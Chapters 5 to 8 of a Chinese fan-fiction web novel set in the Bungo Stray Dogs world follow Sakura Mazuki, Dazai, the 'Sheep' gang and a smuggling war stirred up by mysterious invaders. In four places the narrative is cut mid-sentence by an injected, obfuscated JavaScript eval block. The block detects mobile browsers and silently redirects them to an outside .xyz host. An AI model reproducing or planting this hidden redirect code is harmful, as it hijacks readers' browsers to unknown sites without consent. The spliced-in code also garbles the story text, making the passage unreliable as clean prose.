虽然经常有人说，每一个人的每一个选择都能改变世界，但是对于一个普通的社畜来说，早上买一个梅子饭团和买一个明太子饭团的选择意义不大，诚然，世界会因为他诞生出吃梅子饭团的A世界和吃明太子饭团的B世界，可是无论吃梅子饭团还是明太子饭团，社畜都要去工位上班，都要做一样的工作，也就是说，这两个选择是没有意义的选择。 因此，A世界和B世界中的一个会在诞生之后很快的消失，或是被覆盖，或是被吞噬，就如同幻影一样。 这样无意义的世界有很多很多，它们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16299566|182754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就像海浪拍击礁石留下的浮沫，阳光一照就什么都没有了，消失时，甚至连世界的意识都没有诞生。 没有世界的意识，就不可能诞生人的意识。 没有人的意识，他们就不会站在这里。 因此，世界因‘诞生意识’存在，因‘有意义的选择’延续，不过能够影响世界的选择不是随便产生的，能够影响世界选择的人也不是随便出现的，这些都是世界意志的产物，如果将他们暴力抹除，只会让世界变得更脆弱。 “说的也是……”樱真月思考了一下，“那就只能先回归最根本的问题。” “是呢，”集装箱的另一端，认真吃完饭团和牛奶的费奥多尔加入话题，“最本质的问题是，‘羊’的成员为什么要自己绑架自己？” 人贩子又不是什么讲道理的好人，自己绑架自己是有风险的…… “那么那么，在此提问——人是讲利益的物种，只有高昂的利益才能让人敢于冒险，那么，是谁为他们提供了高昂的利益？”披风随着旋转扬起，果戈里的声音高昂，“提示，在横滨能被称为高昂利益的，除了钱就是武器，但愿意向他人无偿让渡利益的组织不存在哦，所以排除所有的不可能，是书说的那样，在我们不知道的时候，世界出现了入侵者……哎呀，不小心把答案说出来了。” 堆满集装箱的仓库里，空气仿佛都静止了。 众所周知，稳定的世界是排斥入侵的，书页记录的所有世界都没有入侵者。 “按照‘书’的定义，那是一群无耻的入侵者，会侵占我们拥有的为数不多的东西，但是——” 摆动的四肢一停，果戈里浮夸的声音骤然沉寂。 “这是每一页‘书’都不曾存在的全新的落点，也是我们脱离囚笼，去追寻自由的唯一突破点。” 他们这个因选择而诞生，又在诞生之初被遗忘的世界，至今行走在刀尖之上。任何的选择都被记录在书页上，任何的选择都会让他们滑向毁灭的深渊。 当然，他们可以不做任何‘选择’，他们可以不成为‘武侦宰’、不成为‘侦探江户川乱步’、不成为‘死屋之鼠’、不成为‘自由的笼中鸟’，代价是变成世界的囚徒，狙击每一个会改变世界的选择，让世界永远停留，直到他们都死去…… 落在粉色马尾上的阳光忽然无比耀眼，樱真月看着或近或远或坐或站的同伴，忽地笑起来。 “这么说来，入侵者的到来还真是一个不错的……好消息。” “是吧！” “完全可以利用起来啊。” “希望‘羊之王’中原中也知道后不会太生气。” “嘛，有什么关系呢，这也算是帮助他了哦……” 5. 005（小修） 【第五章：一个事件的开端。】 擂钵街。 咸腥的海风呼啸而过，低矮的自建木棚围成的基地，同伴们高兴的惊呼之中，格格不入的木箱子里，全新的自动步-枪整齐码放，子弹、手榴-弹，甚至还有威力强大的水银炸弹——中原中也怎么也想不明白，事情是怎么发展成现在这样的。 两天前，他在擂钵街巡查。 作为擂钵街爆炸事件的幸存者，他是被‘羊’收留的孤儿，他在‘羊’的包容下成长，直到觉醒异能，强大的异能可以庇佑同伴，他从被保护者转变成保护者。 人们尊称他为‘羊之王’，但他并不觉得自己是‘王’，他只是恰好拥有一张‘强大’的底牌，履行自己守护的职责。[3] 曾经，同伴们照顾他，现在，哪怕他只有十二岁，还没长成，没人听他的话，他也愿意为了恩义，倾其所有庇佑同伴，这是他每天都会巡查街区，争取把危险扼杀在摇篮里的原因。 巡查的范围包含‘羊’的领地，还有临近的两条街区，就在拐过上坡时，忽然，他见到一个奇怪的陌生人，那是一个裹着黑色长外套的人，迷茫的在街区打转，看见他后就径直的朝他走来。 虽然有强大的异能，但他不是傲慢的人，黑红的光辉闪烁，只要来者有危险动作，他一抬脚就能把他踹出两条街外，然而，他没想到的是，这个一身黑把自己裹成反派的人走上前的第一句话是： “请问，你知道红房子怎么走吗？” 居然是来问路的。 中也错愕的摇头，他没听过这个地方。 对方遗憾的离开，他以为这是全部，却没想到，黄昏落下，他返回‘羊’的基地，再一次见到对方，彼时，对方正在他的伙伴们中央，白濑和柚杏几个人围着他，正不停的问着什么。 中也震惊了。 ‘羊’是未成年互助组织，为了免受外来侵害，他们一向最排斥成年人。 第六感发出警告，他觉得这不太对，但同伴们三言两语就高兴的决定让对方留下，黑衣人像是察觉到他的排斥，抬起头露出极其平凡的脸，呆滞又迷茫，所有的话语都梗在喉咙里，良心让他同意对方留下。 一夜过去，黑衣人离开。 四个小时后，他收到同伴失踪的消息。 在白濑提供的信息里，他朝着港口黑手党的方向调查，无果，直到夜晚来临，二番街的枪声响起。 硝烟与战火里，他才知道他的同伴被拐卖幼儿的村田组抓走了，还是白给的，就因为他们收留的黑衣人承诺会给他们送一批精良的武器。愤怒从心口一路烧到喉咙，他匆匆赶过去，却在半途中再次碰到那个黑衣人。 再次见面，也不知道是为什么，那张平凡的脸依旧呆滞，但眼眸却和之前不同。说不上细节变化，只是多了一点神采，那一点神采却让他整个人都生动了，就像是……就像是在一点点在注入灵魂。 注入灵魂—— 中也被自己一闪而过的想法吓了一跳。 愤怒让他冲上去，以最快的手段将黑衣人制服，平坦的地面被重力碾碎，龟裂的石块飞起，黑衣人没有喊叫和呼救，像是感觉不到疼痛那样，深深凝望着破晓前的深夜，带上神采的眼睛露出奇怪的笑意，他在说话，但声音很低，需要凑上去才能勉强听清，他在说： “……‘将军’。” “哈？”勉强听清中也皱起眉，“谁？” 黑衣人没能回答，他悄无声息的死去了。 浓郁的血腥刺激着鼻端，明明只是用重力控制对方，对方却像受到重大打击，血液不停的从毛孔渗透出来，只是略微出手的中也愣了愣，但他没有时间想太多，他的同伴还在村田组手里，他再次赶去，带着受伤的同伴返回安全的基地，然后，就看到了整齐码放的各种武器。 这简直…… 中也形容不来。 白濑他们欣喜若狂的围在武器箱子边。 “原来那个家伙没骗我们，真的有武器。” “居然是最新式的自动步枪，连子弹也管够。” “太好了，有了这些新武器，河对岸的港口黑手党的仓库都能攻下来了吧……对了，那个家伙呢，既然他能拿出这些武器，那一定还能拿出更多武器吧！” 嘈杂的声音里，中也想起在碎石中死去的黑衣人，他相信疯狂警报的第六感，但对方已经死了，他没有任何办法追问武器的来源，更没有办法……放弃这批武器。 在擂钵街，任何和生存有关的物资都是珍贵的。 在同伴们的欢欣雀跃里，他心里隐隐约约的不安就此被按捺下去。 他不知道的是，同一时间，村田组被‘羊’覆灭的消息在里世界飞快的传播，偷渡者，情报商，非法势力的恶徒……就如同死寂的沼泽被石子溅起涟漪，世界仿佛于刹那间开始流动。 开在角落无人问津的书店里，那本不被外人只晓的，被压在桌腿下的‘书’正无助的，幽幽的，泛着微光。 午后的阳光依旧，行人来往。 早樱的粉色花瓣在风中飘落，落进一个掌中。 “真漂亮啊。” 樱真月献宝一样举到太宰面前。 在火并现场集合过后，习惯独自行动的他们一前一后的离开，最早离开的是费奥多尔，然后是乱步和果戈里。和过去每一次一样，不需要特别交代，作为俯瞰世界的人，他们每个人都知道自己应该做什么。 不过，时间还很早，樱真月拉着太宰去附近新开的店铺吃了午饭，又一起散着步消食。 “嗯嗯嗯……” 被迫健康饮食的太宰没什么精神，他恹恹地敷衍，抬起眼眸，目光落点却不是飘落的樱花，而是樱真月快要散开的马尾，比樱花还要绚丽的头发正被风吹起。 “说起来，已经走到这里了，”喜新厌旧的樱真月就把花丢到一边，“果戈里说那边那家店的冰淇淋很好吃，居然是原味的。” 原味 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16299567|182754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，听着多新奇，但是一开始的时候，整个世界的食物都没有味道，无论是五星级的高档酒店，还是街尾便利店里平平无奇的梅子饭团，一切有形之物都徒有其表——那是世界的开端，世界的意识刚刚苏醒，诞生自我的他们透过‘书’，了解到世界的真相，光怪陆离的画面，无数的可能平铺在他们面前，在他们不知道蟹肉料理是什么味道，苹果派的甜度应该是几的时候。 其实也能理解，他们的世界就是一个被遗忘的，能被任何世界覆盖吞噬的初级白板，不知道从哪个选项里诞生，也不知道被遗忘了多久孕育出世界的意识，更不知道耗费了多少能量才让他们诞生出‘自我’，偏偏时间又是流逝的，随着时间滚滚向前，所有的人事物都会一直发展，就像一台电脑，计算状态耗电，待机状态也耗电，所以，最开始时，没有多余的能量刷新书本、刷新食物味道也很正常。 但是，知道，吃不到，就很痛苦。 痛苦非常的他们花了几个月的时间，从零开始，狙击了几个会改变世界的选择，比如从擂钵街的爆炸里捞出一个魏尔伦，比如让织田作牢底坐穿，比如让武装侦探社变成武装保镖社……努力了很久，勉强攒下一点能量，才让食物有了食物最基本的味道，不然，一直吃没味道的空气，他们五个早就跟世界爆了。 “不要。”太宰很嫌弃。 他的食欲一向很低，要不是樱真月每天一日三餐不落，他可能连饭都会忘记吃。 被拒绝了樱真月也不灰心，自己高高兴兴去买了一支冰淇淋，回来的时候还给太宰一支塞了草莓味的棒棒糖。 棒棒糖是在冰淇淋店的隔壁买的，太宰也很嫌弃，但是想到拒绝了棒棒糖樱真月还会弄来关东煮、粗点心，甚至有可能直接游进海里捞个蟹回来——这个家伙愿意关心的事情很少，给他的身体补充能量算一件。 把棒棒糖揣进口袋里，太宰不着痕迹地甩开又不知道去哪里买点心的樱真月，独自往前走。 他走得很慢，人群一点点退去，周边的景色也一点点变得荒芜，直到一杆黑色的自动步枪抵到腰后，才停下来。 在距离擂钵街不远的距离，一群扛着精良武器的，十五六岁的凶狠少年围住了他。 “把钱交出来！” 太宰侧目，看到对方手腕间挂着的蓝色腕带，全新的自动步枪在阳光下十分耀眼。 因为他没有说话，少年们更凶狠地用枪口威胁，“穿着这么好的衣服不可能没有钱，喂，想活命的话，马上给你的同伴打电话，让他们来赎人。” “你确定吗？” 少年扛着枪：“别废话，给我快点。” “好吧好吧。”太宰从口袋里拿出手机。 同一时间，某个不知名的地下暗室里，散发着荧光的电脑面前，一条不知来处的悬赏令一闪而过。 血腥气在味蕾散开，下意识啃着指甲的费奥多尔一字一句念出来： “高价悬赏一批——遗失的武器。” 6. 006（小修） 【第六章：受到伤害就展开报复】 临近傍晚，河道两岸。 茂盛的草叶被远风伏倒，露出一盒包装精致的粗点心，粗点心的旁边，樱真月躺在草地上，头戴式耳机挂着脖子上，滚动的手机页面映入瞳孔，那是横滨有名的里世界悬赏网站。 众所周知，横滨不是什么爱好和平的城市，这里遍地都是黑手党。有了黑手党，就会有因黑手党而诞生各种社会问题，什么谋财害命杀人越货，什么情杀仇杀露头就杀……有暴力就会有反抗，有需求就会有市场，所以，悬赏网站应运而生。 随着时间推移，这个网站从一开始的反抗者花钱雇人-复仇，慢慢的，也开始有人开高价悬赏买情报信息，就比如现在。 “一百万悬赏遗失的武器，啊，有人追价了，追了一百万……美金？” 贫穷的，刚把三个同伴卖掉的樱真月一个鲤鱼打挺坐了起来，这些金额可以买两个港口黑手党的武器库，价值远超‘羊’手里那批武器。 没办法不心动，因为卖掉费奥多尔换来的钱又快花完了——养太宰要最舒适的衣服，要投喂最好的料理，要最柔软的床和被子，这些支出光卖一个费奥多尔怎么够？ “连我都动摇了三秒，”又是一阵远风，粉色的马尾散落开来，樱真月不得不坐起来，重新捡起发圈，一般人为了耍帅，会用发带扎马尾，但他不行，他太菜了，他只能用发圈，艰难地束好头发，樱真月嘀咕了两声，“可想而知，会为了这个悬赏拼命的人会有多少啊。” 武器是生存的必需品，钱也是生存的必需品。 不过，据他所知，这批武器和港口黑手党有点关系。 只要是和里世界有接触的人，那一定知道，港口黑手党是盘踞在横滨黑夜里的凶恶怪兽，由一个行将就木的老人统领，大概是被死亡的镰刀逼近，这位老首领变得暴戾凶狠，致使港口黑手党也陷入癫狂，不仅疯狂扩张，还睚眦必报，是真·露头就杀。 过度的扩张必然会带来人才和武器的缺口，人可以招募，但枪支和子弹却很难搞，需要走私。‘羊’手里那批武器就是港口黑手党从一个走私集团订购的，然而走私的武器刚在港口卸货，转头货就不见了。 拿了钱却交不上货，港口黑手党报复的枪口就要指到脑门上，难怪会发出这么一个悬赏单子。 但是…… “一百万的情报悬赏已经在市价之上了，后面让人疯狂的一百万美金……” 高空之上，疾风带来一片阴云，笼罩着偌大的城市。 “看起来快要下雨了，”樱真月拍拍草屑，抱着粗点心站起来，“一百万美金的悬赏，看来所谓的‘入侵者’是真的很希望横滨乱起来啊，嘛，算了，还是先处理一下分配到手的任务吧，快的话还能找阿治一起吃晚饭……” 踩着西斜的日光，樱真月支起脖颈上的耳机，耳机里，他偷偷通过电子语音合成的，大概活不了两天的太宰音正唱着小儿歌，他跟着歌声晃晃悠悠的打着拍子，看起来跟路过的普通中学生没什么区别。 与此同时，某个不起眼的地下暗室里。 厚重的木地板反射着昏黄的灯光，一个西装革履的中年人焦躁的来回踱步，他的面前是一张很长的会议桌，桌上放得不是文件资料，而是一个装满崭新日钞的手提箱，那是港口黑手党支付的走私武器的定金。 但是，定金在桌上，货物却不在仓库里。 距离交货只剩下十二小时。 仿佛可以看到港口黑手党的精英部队踩过他的尸体，中年人，野口走私集团的首领，野口山一郎止不住抖了抖。 冷汗从额角滴下来，汗湿的衬衫让他感觉到难受，踱步的脚也克制不住的颤抖起来，就在这时，直到几个部下抱着笔记本电脑疾步进门。 “BOSS，悬赏令有消息了。” 野口山一郎立刻转身。 “是‘羊’。” 部下将电脑页面展示出来。 悬赏网页上，属于他们发出的那条悬赏，在被追加一百万美金后，正以毫秒的速度被响应，刷新出的每一条应答都是：‘羊’。 其中一条，名叫‘死屋之鼠’的应答里，还标注了‘羊’拿到的武器规格和数量，甚至还有照片，正是他们遗失的那些货物。 暴怒的情绪直冲大脑，他甚至没有去思考，那么多的武器是怎么辗转到了‘羊’手里的，他日渐膨胀的脑子里，只剩下一句话：他们必须要付出代价！ 野口山一郎大步的走出去，走到门口又想起什么，浑身一抖，突兀的转头看向房间里最阴暗的角落。 空旷的房间，仿佛连呼吸都没有，却突兀地响起脚步声。 崭新的皮鞋叩击地板，发出的声音像是能和心跳重叠，野口山一郎莫名抖了抖，他紧张地看着声音的方向。 在那里，一个人走了出来，黑色的长风衣直到小腿，露出的脸平凡之至，平凡到甚至有些呆板——如果樱真月在这里，他一定能认出，这个人就是他在巷子口遇到的，朝他问路的黑衣人，唯一的不同是眼睛。 那双曾经呆滞的眼睛现在十分灵动，就仿佛注入灵魂一样。 黑衣人微笑着，安静的看着野口山一郎。 野口山一郎止不住吞了口唾沫，他不知道对方是谁，也不知道对方从哪里来，只知道在遇到对方之前，他只是一个蜷缩在擂钵街的流浪汉，是对方走近他，询问他是否想拥抱权与利。 武器和金钱，哪怕是做梦也好，谁能真正拒绝呢？ 他忙不迭的点头，然后被带到一间暗室，暗室里摆满了用于走私的武器，甚至，对方还帮他联系好了买家。 一次，两次，三次，短短几天时间，他从一无所有变成家财万贯，说话的声音都膨胀了，直到贩卖给港口黑手党的武器从仓库里消失。 仓皇占据了他的内心，他迫切的看着黑衣人。 “受到伤害就展开报复，这是里世界的生存法则不是吗？”黑衣人依旧微笑着，甚至微微躬身做出一个‘请随意’的礼节，“所以，野口先生，你可以做任何你想做的事情。” 野口山一郎松了一口气，往外走了两步，又想起什么：“田山先生，您不跟我一起去吗？” 黑衣人田山摇头：“我不会离开这里，我将会在这里等待我的命运。但是不用担心，‘将军’会为你提供更多的武器，只要你还需要。” 命运？多么奇怪的词语，但野口山一郎来不及细想就被后一句话砸得晕头转向，他欣喜若狂的带着人和精良的武器赶赴战场。 他离开后，空旷的房间再次安静下来，黑衣人田山像一座雕像，沉默而安静的等待着，直到长廊外，再次响起清脆的脚步声。 “真是的，为什么会选在这种地方，喂，里面那个谁，乱步大人已经抓到你了——”[4] 空旷的声音回荡着，黑衣人田山终于动了，他凝望着门口，露出微笑。 他要等的人到了。 * 对局势一无所知的‘羊’的基地里。 争执一触即发。 作为争执的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16299568|182754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中心，太宰安然坐在地上，如果不是头顶还有三把指着他的，崭新的，上了膛的枪口，脱了外套，只穿着手工衬衫的他看起来像是在春游。 晃眼的白炽灯落到他肩上，散乱的黑发投下阴影，旁边的中原中也和扛着枪的白濑发出吵闹的争执。 除了中原中也之外，每一个‘羊’的成员手里都拿着枪。从得到这批武器开始，哪怕是组织里最年幼的成员，哪怕是最新加入的成员，都分配到了一支崭新的自动步枪。 欣喜若狂的他们就无时无刻不在炫耀自己的战利品，太宰瞥了一眼，目光随即定到他那件被随意丢到地上的外套。 那是一件看着很普通的，但完全适合他的，全手工裁剪的黑色长款风衣，现在也沾上了尘土。 “……为什么你们会拿着枪去抢劫，甚至绑架这个孩子？”中原中也努力压制声音。 他不明白，在他为了组织安全加强巡查的时间里，他的同伴为什么会扛着枪在擂钵街外绑架了一个孩子，这个孩子——和他同龄，穿着得体，但看着瘦弱，很轻易的就被他归入需要保护的行列。 但这不是重点，重点是‘羊’作为未成年互助组织，却绑架了一个未成年。 他感觉有些荒谬，但又说不清底线是从哪里开始垮塌的。早两年，他还是年幼的孩子，那时‘羊’是未成年抱团取暖的组织，是捡到一块面包都会分享同伴，可现在，他是强大的异能者，‘羊’的同伴握着精良的武器，却去绑架一个孩子？ 然而，他的愤怒并不被重视，就算被称为‘羊之王’，他才十二岁，年幼，还没长成，在他眼里，同伴是需要保护的同伴，在他的同伴眼里，他还是当初那个必须要依赖着他们，连记忆都没有的小鬼。 “哈？是这家伙自己撞上来的，”白濑也很生气，他指着太宰，“你看看他的衣服，全是昂贵的手工制作，我们绑架他让他的同伴送钱来，解决大家的温饱有什么问题吗？！” 拥有武器就是拥有力量，拥有了力量就要想办法解决温饱。 一刹那，中也也没有办法驳斥。 他低头看向太宰，试图找到不应该绑架他的理由，但是……找不到，对方从上到下，不仅外套衬衫是全手工的，连为数不多的饰品，皮带的带扣嵌着的都是细碎的蓝宝石。 从碎宝石相同的折射率看，那一定是一块精美纯净的蓝宝石，被人暴殄天物般切割裁剪镶嵌。 大概是知道他在想什么，太宰叹了口气：“所以啊，我已经按照你们的需求打了电话，能把我的外套还给我吗？丢了的话，会很麻烦。” 中也直觉不能问。 但志得意满的白濑没忍住：“丢了会怎么办？切，像你们这种有钱人，也只会大肆的采购吧。” “不会，”太宰抬起头，仅露在外的鸢色眼睛仿佛深不见底，“买不到的。只是会有个喜欢睡觉的笨蛋要熬夜裁剪，额外一提，皮带带扣也是他做的，很难想象这样一个人居然会做手工，他连自己的头发都扎不好。” 白濑：“……” 中也：“……” 这种类似炫耀的口气是怎么回事，他就知道不能问！ ‘羊’的成员面面相觑，白濑也抽了抽嘴角，他不是直觉系，但心里莫名的有点酸，于是，他暴躁的用枪口，一以贯之的威胁：“你的同伴呢，赎款怎么还没来？” “嘛……已经到了啊。” 话音落下，如血的黄昏里，炸弹爆破声和金属碎裂声一起响起，猝不及防的，野口走私集团的组织成员冲了进来。 7. 007（小修） 【第七章：你刚刚，在做什么？】 倾泻的子弹如同水平方向上的滂沱大雨，密密麻麻的从头顶射过，枪□□发的闪光几乎连成片。 拿着精良的武器，但从没有经受过系统训练的未成年，甚至还没意识到发生了什么，就被打的落花流水。 血花绽开的刹那，下一瞬，钴蓝的眼眸如闪电，黑红的屏障挡在所有人面前，亚音速的子弹被拖入重力泥沼里——他是中原中也，是强大的异能者，是以一己之力让‘羊’与其他非法犯罪组织齐名的羊之王。 尽管他还不知道成为王需要什么品质。 但是在危险来临时，挡在同伴面前是必须的。 眉眼低压，愤怒的中也以极快的速度旋身飞踢，受重力克制的子弹一瞬间弹了回去，血液再次飞溅。对方倒了几个人，高强度火力压制出现缺口，惊恐的白濑几人终于反应过来，飞快的躲避到掩体后方，走时还不忘把饭票太宰也扯过去。 虽然中原中也很反对，但他并不觉得自己做错了，在他眼中太宰就是有钱人家受宠的小鬼，为什么他们要每天为生存奔波，而这家伙能穿这么好的手工衣服，为什么富人那么多，而他们却连饭都不能吃饱？！ 很快的，火力缺口重新补了上来。 比先前更多更足的子弹让中也无法分心顾及其他事情，所以他也没注意到，在掩体的后方，恼怒的白濑一脚踹到旁边的木箱上，他踹得很用力，装满武器的木箱上都晃了晃。 “这些人是你招惹来的？！” 子弹上膛，暴怒的白濑又几步走近，枪口压在太宰脑门上。 “这不是你的要求吗？”太宰抬起眼眸，露出的神情平静到甚至有些漠然，“而且，还远没到结束的时候。” 在‘羊’带着武器出入擂钵街的时候，所有人都亲眼目睹，所以，来到这里的怎么会只有一个走私集团呢？ 人心总是贪婪的…… 远在那个不知名的地下暗室里，咬着指甲的费奥多尔依旧坐在电脑面前。 电脑屏幕上，是横滨的俯瞰地图，地图上是密密麻麻的的红点，代表着横滨所有非法武装势力，包括凌驾于所有犯罪势力之上的港口黑手党。 就像曾经的‘羊’为了黑衣人承诺的武器愿意铤而走险一样，在过去的几个小时里，在悬赏如病毒般疯狂传播的时间里，同样愿意为了利益铤而走险的组织和个人不胜枚举，那些朝着‘羊’基地汇聚的红点就是证据。 羊的基地里。 狭窄的角落是死一般的沉寂。 直到这时，白濑才恍然想起，在他绑架对方并提出要求时，对方拿出手机，利落拨号后只说了一句话：你们需要的东西就在这里。 他甚至不知道对方把电话打给了谁。 当时，他们沉浸在喜悦里，没有一个人去细想这句话。 就算是现在，他也不愿意去想太宰口中的‘愿意铤而走险的组织’代表着什么，但身体莫名先一步颤抖起来，就像坠入陷阱的猎物会发出最后的挣扎。 不，他们并没有走到死路，他们还有中也。 中也是异能者，是强大到让人嫉妒的异能者，那些攻进来的人根本不是他的对手，所以他也不需要害怕，他重新举起枪—— 子弹来不及出膛。 电光火石间，更多的，扛着武器的恶徒冲进这里，甚至还有一些是异能者。 横滨是异能者的城市，无数多的异能者会顺着命运的长河，汇聚到这里。噼里啪啦的流弹里，夹杂着各色的异能闪光，混乱的人群抱着同样的目的开始大乱斗，就连中原中也就彻底淹没在人群中。 血色弥漫开，攻击者和被攻击者，倒下的人越来越多，卷入的人也越来越多，到最后，就连周围的孤儿和流浪汉都被卷入其中。 事态再次升级，已经全然不受控制了。 而在谁都看不到的地方，不被记录的世界，如同死寂的沼泽里，石头溅起的涟漪一点点扩大、扩大……扩大到某一个范围，被压制在桌腿下的‘书’瞬间翻开，耀眼的光辉里，昭示着入侵者的纸张闪闪烁烁，最后重新定格出几行字。 倏忽间，仿佛有所感应，知晓世界真相的人们一起抬起头。 监控暗网的费奥多尔，循着情报赶往野口走私集团，并在走私集团的基地成功逮捕黑衣人的果戈里和乱步，混乱战场中的太宰，还有……高耸的桥塔之上，看不清楚面容的黑衣人。 夜风已经带上水汽，披着肩上的羽织微微扬起，传统的和服下，是一柄由杀意和血色锤锻而成的长刀。 太阳彻底落入地平线，仅剩的一点微光映照在刀镡上，映照出被风扬起的银发，他眺望着擂钵街的战场，随即一跃而下—— 整个城市的中心，可以轻易赶往任何位置的中点上，樱真月卒然回首，足下落点处璀璨的异能光辉一闪而过，但，感应已经断了。 樱真月蹙起眉：“这么狡猾……吗？” 顷刻间，凌厉张扬的眉眼甚至带上了戾气。 不过，很快，戾气平息了。 虽然事态还不算明朗，但仅从目前已知的事件来看，入侵者并不是一个人，而是一个‘组织’。 这个‘组织’的目的是侵占他们的世界，手段是目前煽动内乱。也正常，想要完全的占领一个地方，得先消耗一下潜能，再打击现有力量，最后用暴力强势打击，一套下来，正好适合接手。 所以将计就计，他们优先级最高的事情是：抓住罪魁祸首。 世界留给他们的‘选择’无限接近零，入侵者算一个——虽然书页将他们定义成无耻的入侵者，但，这可是他们突破‘选择’牢笼的唯一突破点。 如果，他们能直接将整个‘入侵者’掌控在手里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16299569|182754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，那么，世界的改造将直接进入简单模式。但是，很可惜，对方太狡猾了。 作为‘书’的拥有者，守在中场支援的地方，他都没能捕捉到对方的位置。 嘛，算了，对方都搞跨世界殖民了，如果还跟小孩子过家家一样，轻易的让他们捕抓到，那也太不像话了。 最高优先级没办法推进，还有次优先级。 几乎是掐着秒，电话响了起来。 是乱步。 “喂，小真月，黑衣人已经抓住了。” “欸，”樱真月弯起眼睛，夜风扬起他粉色的发尾，“不愧是你啊，乱步桑~” 电话那头的乱步哼了一声，也不知是高兴还是不高兴，最后只补充了一句：“那黑衣人身体很弱，还有自杀倾向，不过，乱步大人已经让果戈里用异能控制住他了，之后的等回去再说吧。” 说完，电话挂断了。 “那就意味着，可以收尾了，”樱真月脚步一转，“时间还很早，可以去找阿治吃个饭，让我看看他在什么地方……” 擂钵街。 越来越混乱的大乱斗里，主战场已经由‘羊’的基地扩散到整个擂钵街。 因为人数众多，举目看去，全是不认识的人。 中原中也很暴躁，一开始他还能用异能保护几个同伴，现在他连同伴的影子都看不到了。这样混乱的局面，他都不敢想会发生什么样的事情，事到如今，再迟钝他也反应过来‘羊’落进了圈套里。 不知道是谁的圈套。 也不知道圈套里装着什么样的目的。 但，余光瞥过，身体比脑子更快的冲了出去。 危机感一闪即逝，太宰只来得及抬手隔档，就如同狂风扫落叶一样，整个人飞出去。 尘烟滚滚，砸倒两扇墙后，太宰倒在地面上，紧随而来的中原中也皱着眉，低头看着自己的脚，反馈上来的感觉不对，像是没踢中，不过没关系，他抬脚踩住垂落在地的肩膀，鞋底与骨头发出嘎吱的挤压声响。 “混蛋，”他恶狠狠地加重力道，“是不是你搞的鬼——” 话音还没落，身体骤然后退两步，一道危险的寒芒擦着颈动脉钉入他身后的岩石板，刀锋径直没入大半。 那是……一柄胁差？！ 中原中也猛地回头，目光还没凝聚，整个人就被一股蛮横之至的力道贯出去，倒飞的距离比先前的太宰更狠，在地面就拖出十多米的痕迹。 脚步落地，寒光熠熠的胁差被拔了起来，锋刃在空中挽出夺目的刀花。 废墟里的中原中也勉力站起来，就看到无尽的黑夜里，一个少年踩着焦黑的土地，正一步一步朝他走来。 夜风扬起凌乱的马尾，露出的粉色眼眸凝聚的全是怒火，是比刚刚让罪魁祸首跑了还要愤怒的火焰。 “告诉我，你刚刚，在做什么？” 8. 008（小修） 【第八章：这里，「异能禁止」。】 “告诉我，你刚刚，是在做什么？” 不带一点起伏，声音里全是杀意。 樱真月从来不是一个脾气很好的人，在循着异能的提示来到混乱的战场，第一眼却看到太宰被中原中也踩在脚下时，那一刹那，他的杀意膨胀到极致，那是一种前所未有的，无法扼制的情绪，就像盘踞的恶龙发现有人要损坏自己的宝藏一样——作为‘书’的拥有者，他知道中原中也，也知道在那些平行世界里发生的所有事情。 他知道在一些平行世界里，太宰会因为调查港口黑手党先代事件被中原中也攻击，知道他们两个会一战成名成为闻名里世界的搭档，也知道在那之后，太宰会因为猜忌不得不走上最孤独的道路……当然，那只是‘书’记录的无数多的世界里，不足为外人道的一小部分，除此之外，还有太宰加入猎犬，太宰被异能特务科收编等等。 但，那有什么关系呢，毕竟他也平等的讨厌猎犬和异能特务科，他会平等的厌憎每一个会伤害太宰的世界，也会平等的给每一个伤害太宰的人以雷霆痛击。 如果说，此世的所有人都像是在水沟里，浑身泥泞的，漫无目的奔走的野犬，苦苦的求索着「生存」的意义，那么，在他见到太宰的那一天，他的求索就已经得到了答案。 所以，在把胁差甩出去的刹那，他是真的抱着杀死对方的心，不偏不移瞄准的是喉咙的正中，那个位置只要命中，中原中也会在顷刻间被钉死在地上。 哦，不，不会顷刻死掉，而是会被打碎颈椎，被剥夺声音，然后经历人生最痛苦的三四分钟，最后大量失血而亡。 那会是世界上最痛苦的一种死法。 